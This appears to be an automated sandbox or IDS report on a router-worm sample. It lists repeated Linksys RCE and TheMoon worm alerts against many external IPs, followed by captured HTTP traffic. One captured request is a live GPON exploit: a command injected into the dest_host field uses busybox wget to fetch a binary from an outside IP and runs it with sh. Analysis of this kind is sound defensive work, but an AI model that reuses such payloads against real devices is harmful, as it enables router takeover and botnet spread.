Timestamp:	192.168.2.1563.248.51.1724717880802027153 12/21/23-17:54:25.587316
SID:	2027153
Source Port:	47178
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.15 - Destination IP: 103.149.177.45

Timestamp:	192.168.2.15103.149.177.454207480802018132 12/21/23-17:54:37.391925
SID:	2018132
Source Port:	42074
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Linksys E-Series Device RCE Attempt - Source IP: 192.168.2.15 - Destination IP: 146.59.157.218

Timestamp:	192.168.2.15146.59.157.2185957480802026102 12/21/23-17:54:20.433171
SID:	2026102
Source Port:	59574
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound - Source IP: 192.168.2.15 - Destination IP: 104.16.221.215

Timestamp:	192.168.2.15104.16.221.2154947080802027153 12/21/23-17:53:57.724736
SID:	2027153
Source Port:	49470
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound - Source IP: 192.168.2.15 - Destination IP: 182.155.13.100

Timestamp:	192.168.2.15182.155.13.1005749480802027153 12/21/23-17:54:26.383869
SID:	2027153
Source Port:	57494
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt - Source IP: 192.168.2.15 - Destination IP: 185.132.49.34

Timestamp:	192.168.2.15185.132.49.343354480802026102 12/21/23-17:53:22.026940
SID:	2026102
Source Port:	33544
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt - Source IP: 192.168.2.15 - Destination IP: 104.17.66.69

Timestamp:	192.168.2.15104.17.66.693538880802026102 12/21/23-17:53:48.219212
SID:	2026102
Source Port:	35388
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.15 - Destination IP: 14.94.145.156

Timestamp:	192.168.2.1514.94.145.1563372280802018132 12/21/23-17:54:45.963788
SID:	2018132
Source Port:	33722
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.15 - Destination IP: 163.121.58.7

Timestamp:	192.168.2.15163.121.58.75467680802018132 12/21/23-17:53:33.567875
SID:	2018132
Source Port:	54676
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound - Source IP: 192.168.2.15 - Destination IP: 185.132.49.34

Timestamp:	192.168.2.15185.132.49.343354480802027153 12/21/23-17:53:22.026940
SID:	2027153
Source Port:	33544
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.15 - Destination IP: 45.60.122.103

Timestamp:	192.168.2.1545.60.122.1034847680802018132 12/21/23-17:53:53.925477
SID:	2018132
Source Port:	48476
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Linksys E-Series Device RCE Attempt - Source IP: 192.168.2.15 - Destination IP: 182.155.13.100

Timestamp:	192.168.2.15182.155.13.1005749480802026102 12/21/23-17:54:26.383869
SID:	2026102
Source Port:	57494
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound - Source IP: 192.168.2.15 - Destination IP: 88.151.194.89

Timestamp:	192.168.2.1588.151.194.894808280802027153 12/21/23-17:54:20.442347
SID:	2027153
Source Port:	48082
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt - Source IP: 192.168.2.15 - Destination IP: 88.151.194.89

Timestamp:	192.168.2.1588.151.194.894808280802026102 12/21/23-17:54:20.442347
SID:	2026102
Source Port:	48082
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.15 - Destination IP: 167.179.82.140

Timestamp:	192.168.2.15167.179.82.1405846080802018132 12/21/23-17:53:33.602081
SID:	2018132
Source Port:	58460
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Linksys E-Series Device RCE Attempt - Source IP: 192.168.2.15 - Destination IP: 203.229.193.10

Timestamp:	192.168.2.15203.229.193.105529280802026102 12/21/23-17:53:39.600261
SID:	2026102
Source Port:	55292
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt - Source IP: 192.168.2.15 - Destination IP: 104.16.221.215

Timestamp:	192.168.2.15104.16.221.2154947080802026102 12/21/23-17:53:57.724736
SID:	2026102
Source Port:	49470
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound - Source IP: 192.168.2.15 - Destination IP: 38.152.137.183

Timestamp:	192.168.2.1538.152.137.1834197480802027153 12/21/23-17:54:33.789777
SID:	2027153
Source Port:	41974
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound - Source IP: 192.168.2.15 - Destination IP: 203.229.193.10

Timestamp:	192.168.2.15203.229.193.105529280802027153 12/21/23-17:53:39.600261
SID:	2027153
Source Port:	55292
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.15 - Destination IP: 175.253.5.48

Timestamp:	192.168.2.15175.253.5.484768680802018132 12/21/23-17:54:49.548805
SID:	2018132
Source Port:	47686
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Linksys E-Series Device RCE Attempt - Source IP: 192.168.2.15 - Destination IP: 38.152.137.183

Timestamp:	192.168.2.1538.152.137.1834197480802026102 12/21/23-17:54:33.789777
SID:	2026102
Source Port:	41974
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.15 - Destination IP: 88.151.194.89

Timestamp:	192.168.2.1588.151.194.894808280802018132 12/21/23-17:54:20.442347
SID:	2018132
Source Port:	48082
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Linksys E-Series Device RCE Attempt - Source IP: 192.168.2.15 - Destination IP: 190.12.18.254

Timestamp:	192.168.2.15190.12.18.2543905280802026102 12/21/23-17:54:44.834927
SID:	2026102
Source Port:	39052
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound - Source IP: 192.168.2.15 - Destination IP: 77.209.30.197

Timestamp:	192.168.2.1577.209.30.1974452480802027153 12/21/23-17:53:44.722418
SID:	2027153
Source Port:	44524
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.15 - Destination IP: 38.152.137.183

Timestamp:	192.168.2.1538.152.137.1834197480802018132 12/21/23-17:54:33.789777
SID:	2018132
Source Port:	41974
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.15 - Destination IP: 138.113.255.40

Timestamp:	192.168.2.15138.113.255.404604880802018132 12/21/23-17:53:20.831254
SID:	2018132
Source Port:	46048
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Linksys E-Series Device RCE Attempt - Source IP: 192.168.2.15 - Destination IP: 109.201.97.248

Timestamp:	192.168.2.15109.201.97.2483495680802026102 12/21/23-17:53:10.601852
SID:	2026102
Source Port:	34956
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt - Source IP: 192.168.2.15 - Destination IP: 77.209.30.197

Timestamp:	192.168.2.1577.209.30.1974452480802026102 12/21/23-17:53:44.722418
SID:	2026102
Source Port:	44524
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt - Source IP: 192.168.2.15 - Destination IP: 80.11.34.63

Timestamp:	192.168.2.1580.11.34.633637480802026102 12/21/23-17:54:25.630242
SID:	2026102
Source Port:	36374
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound - Source IP: 192.168.2.15 - Destination IP: 80.11.34.63

Timestamp:	192.168.2.1580.11.34.633637480802027153 12/21/23-17:54:25.630242
SID:	2027153
Source Port:	36374
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound - Source IP: 192.168.2.15 - Destination IP: 109.201.97.248

Timestamp:	192.168.2.15109.201.97.2483495680802027153 12/21/23-17:53:10.601852
SID:	2027153
Source Port:	34956
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound - Source IP: 192.168.2.15 - Destination IP: 190.12.18.254

Timestamp:	192.168.2.15190.12.18.2543905280802027153 12/21/23-17:54:44.834927
SID:	2027153
Source Port:	39052
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.15 - Destination IP: 182.155.13.100

Timestamp:	192.168.2.15182.155.13.1005749480802018132 12/21/23-17:54:26.383869
SID:	2018132
Source Port:	57494
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound - Source IP: 192.168.2.15 - Destination IP: 163.121.58.7

Timestamp:	192.168.2.15163.121.58.75467680802027153 12/21/23-17:53:33.567875
SID:	2027153
Source Port:	54676
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.15 - Destination IP: 80.11.34.63

Timestamp:	192.168.2.1580.11.34.633637480802018132 12/21/23-17:54:25.630242
SID:	2018132
Source Port:	36374
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.15 - Destination IP: 104.25.127.159

Timestamp:	192.168.2.15104.25.127.1595935480802018132 12/21/23-17:53:06.068068
SID:	2018132
Source Port:	59354
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Linksys E-Series Device RCE Attempt - Source IP: 192.168.2.15 - Destination IP: 175.253.5.48

Timestamp:	192.168.2.15175.253.5.484768680802026102 12/21/23-17:54:49.548805
SID:	2026102
Source Port:	47686
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound - Source IP: 192.168.2.15 - Destination IP: 34.43.86.16

Timestamp:	192.168.2.1534.43.86.165849280802027153 12/21/23-17:52:58.903955
SID:	2027153
Source Port:	58492
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.15 - Destination IP: 172.66.217.216

Timestamp:	192.168.2.15172.66.217.2164113480802018132 12/21/23-17:53:15.066165
SID:	2018132
Source Port:	41134
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Linksys E-Series Device RCE Attempt - Source IP: 192.168.2.15 - Destination IP: 163.121.58.7

Timestamp:	192.168.2.15163.121.58.75467680802026102 12/21/23-17:53:33.567875
SID:	2026102
Source Port:	54676
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt - Source IP: 192.168.2.15 - Destination IP: 34.43.86.16

Timestamp:	192.168.2.1534.43.86.165849280802026102 12/21/23-17:52:58.903955
SID:	2026102
Source Port:	58492
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt - Source IP: 192.168.2.15 - Destination IP: 13.58.43.172

Timestamp:	192.168.2.1513.58.43.1724030280802026102 12/21/23-17:52:59.038841
SID:	2026102
Source Port:	40302
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.15 - Destination IP: 193.203.7.19

Timestamp:	192.168.2.15193.203.7.195156080802018132 12/21/23-17:53:37.232076
SID:	2018132
Source Port:	51560
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound - Source IP: 192.168.2.15 - Destination IP: 175.253.5.48

Timestamp:	192.168.2.15175.253.5.484768680802027153 12/21/23-17:54:49.548805
SID:	2027153
Source Port:	47686
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound - Source IP: 192.168.2.15 - Destination IP: 103.149.177.45

Timestamp:	192.168.2.15103.149.177.454207480802027153 12/21/23-17:54:37.391925
SID:	2027153
Source Port:	42074
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt - Source IP: 192.168.2.15 - Destination IP: 66.211.78.33

Timestamp:	192.168.2.1566.211.78.334234080802026102 12/21/23-17:53:33.116566
SID:	2026102
Source Port:	42340
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt - Source IP: 192.168.2.15 - Destination IP: 103.149.177.45

Timestamp:	192.168.2.15103.149.177.454207480802026102 12/21/23-17:54:37.391925
SID:	2026102
Source Port:	42074
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound - Source IP: 192.168.2.15 - Destination IP: 168.195.81.33

Timestamp:	192.168.2.15168.195.81.334235080802027153 12/21/23-17:53:15.222373
SID:	2027153
Source Port:	42350
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt - Source IP: 192.168.2.15 - Destination IP: 151.202.28.232

Timestamp:	192.168.2.15151.202.28.2324876680802026102 12/21/23-17:53:44.361557
SID:	2026102
Source Port:	48766
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound - Source IP: 192.168.2.15 - Destination IP: 62.169.187.2

Timestamp:	192.168.2.1562.169.187.23799680802027153 12/21/23-17:54:38.288443
SID:	2027153
Source Port:	37996
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt - Source IP: 192.168.2.15 - Destination IP: 168.195.81.33

Timestamp:	192.168.2.15168.195.81.334235080802026102 12/21/23-17:53:15.222373
SID:	2026102
Source Port:	42350
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt - Source IP: 192.168.2.15 - Destination IP: 62.169.187.2

Timestamp:	192.168.2.1562.169.187.23799680802026102 12/21/23-17:54:38.288443
SID:	2026102
Source Port:	37996
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt - Source IP: 192.168.2.15 - Destination IP: 94.64.74.199

Timestamp:	192.168.2.1594.64.74.1995084880802026102 12/21/23-17:54:37.305966
SID:	2026102
Source Port:	50848
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound - Source IP: 192.168.2.15 - Destination IP: 146.59.157.218

Timestamp:	192.168.2.15146.59.157.2185957480802027153 12/21/23-17:54:20.433171
SID:	2027153
Source Port:	59574
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound - Source IP: 192.168.2.15 - Destination IP: 151.202.28.232

Timestamp:	192.168.2.15151.202.28.2324876680802027153 12/21/23-17:53:44.361557
SID:	2027153
Source Port:	48766
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound - Source IP: 192.168.2.15 - Destination IP: 94.64.74.199

Timestamp:	192.168.2.1594.64.74.1995084880802027153 12/21/23-17:54:37.305966
SID:	2027153
Source Port:	50848
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.15 - Destination IP: 195.201.76.149

Timestamp:	192.168.2.15195.201.76.1495674080802018132 12/21/23-17:54:45.905951
SID:	2018132
Source Port:	56740
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound - Source IP: 192.168.2.15 - Destination IP: 13.58.43.172

Timestamp:	192.168.2.1513.58.43.1724032480802027153 12/21/23-17:53:01.190123
SID:	2027153
Source Port:	40324
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.15 - Destination IP: 93.187.242.194

Timestamp:	192.168.2.1593.187.242.1945787680802018132 12/21/23-17:53:01.612618
SID:	2018132
Source Port:	57876
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound - Source IP: 192.168.2.15 - Destination IP: 66.211.78.33

Timestamp:	192.168.2.1566.211.78.334234080802027153 12/21/23-17:53:33.116566
SID:	2027153
Source Port:	42340
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

HTTP traffic detected: POST /GponForm/diag_Form?images/ HTTP/1.1User-Agent: Hello, WorldAccept: */*Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedData Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 38 32 2e 31 30 33 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://45.142.182.103/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.18.0 (Ubuntu)Date: Thu, 21 Dec 2023 16:53:01 GMTContent-Type: text/html; charset=UTF-8Content-Length: 162Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginxDate: Thu, 21 Dec 2023 16:53:22 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginxDate: Thu, 21 Dec 2023 16:53:33 GMTContent-Type: text/htmlContent-Length: 162Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body bgcolor="white"><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plain; charset=utf-8X-Content-Type-Options: nosniffDate: Thu, 21 Dec 2023 16:53:33 GMTContent-Length: 19Data Raw: 34 30 34 20 70 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: 404 page not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.0Date: Thu, 21 Dec 2023 16:53:42 GMTContent-Type: text/htmlContent-Length: 169Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundVary: Accept-EncodingX-Frame-Options: SAMEORIGINContent-Type: text/htmlX-Content-Type-Options: nosniffDate: Thu, 21 Dec 2023 17:56:08 GMTCache-Control: no-cacheContent-Length: 223X-XSS-Protection: 1; mode=blockConnection: Keep-AliveAccept-Ranges: bytesData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 72 65 3e 3c 2f 70 72 65 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><head> <title>Not Found</title> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"></head><body><h2>Access Error: 404 -- Not Found</h2><pre></pre></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 503 Service UnavailableContent-Type: text/htmlCache-Control: no-cache, no-storeConnection: closeContent-Length: 690X-Iinfo: 18-114171422-0 0NNN RT(1703177647029 0) q(0 -1 -1 -1) r(0 -1)Data Raw: 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 68 65 61 64 3e 3c 4d 45 54 41 20 4e 41 4d 45 3d 22 52 4f 42 4f 54 53 22 20 43 4f 4e 54 45 4e 54 3d 22 4e 4f 49 4e 44 45 58 2c 20 4e 4f 46 4f 4c 4c 4f 57 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 6d 61 74 2d 64 65 74 65 63 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 6c 65 70 68 6f 6e 65 3d 6e 6f 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 70 78 3b 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 69 66 72 61 6d 65 20 69 64 3d 22 6d 61 69 6e 2d 69 66 72 61 6d 65 22 20 73 72 63 3d 22 2f 5f 49 6e 63 61 70 73 75 6c 61 5f 52 65 73 6f 75 72 63 65 3f 43 57 55 44 4e 53 41 49 3d 35 26 78 69 6e 66 6f 3d 31 38 2d 31 31 34 31 37 31 34 32 32 2d 30 25 32 30 30 4e 4e 4e 25 32 30 52 54 25 32 38 31 37 30 33 31 37 37 36 34 37 30 32 39 25 32 30 30 25 32 39 25 32 30 71 25 32 38 30 25 32 30 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 39 25 32 30 72 25 32 38 30 25 32 30 2d 31 25 32 39 26 69 6e 63 69 64 65 6e 74 5f 69 64 3d 30 2d 35 38 31 36 32 35 34 32 39 31 31 33 36 33 37 35 32 32 26 65 64 65 74 3d 32 32 26 63 69 6e 66 6f 3d 66 66 66 66 66 66 66 66 26 72 70 69 6e 66 6f 3d 30 26 6d 74 68 3d 50 4f 53 54 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 30 20 77 69 64 74 68 3d 22 31 30 30 25 22 20 68 65 69 67 68 74 3d 22 31 30 30 25 22 20 6d 61 72 67 69 6e 68 65 69 67 68 74 3d 22 30 70 78 22 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 22 30 70 78 22 3e 52 65 71 75 65 73 74 20 75 6e 73 75 63 63 65 73 73 66 75 6c 2e 20 49 6e 63 61 70 73 75 6c 61 20 69 6e 63 69 64 65 6e 74 20 49 44 3a 20 30 2d 35 38 31 36 32 35 34 32 39 31 31 33 36 33 37 35 32 32 3c 2f 69 66 72 61 6d 65 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html style="height:100%"><head><META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW"><meta name="format-detection" content="telephone=no"><meta name="viewport" content="initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"></head><body style="margin:0px;height:100%"><iframe id="main-iframe" 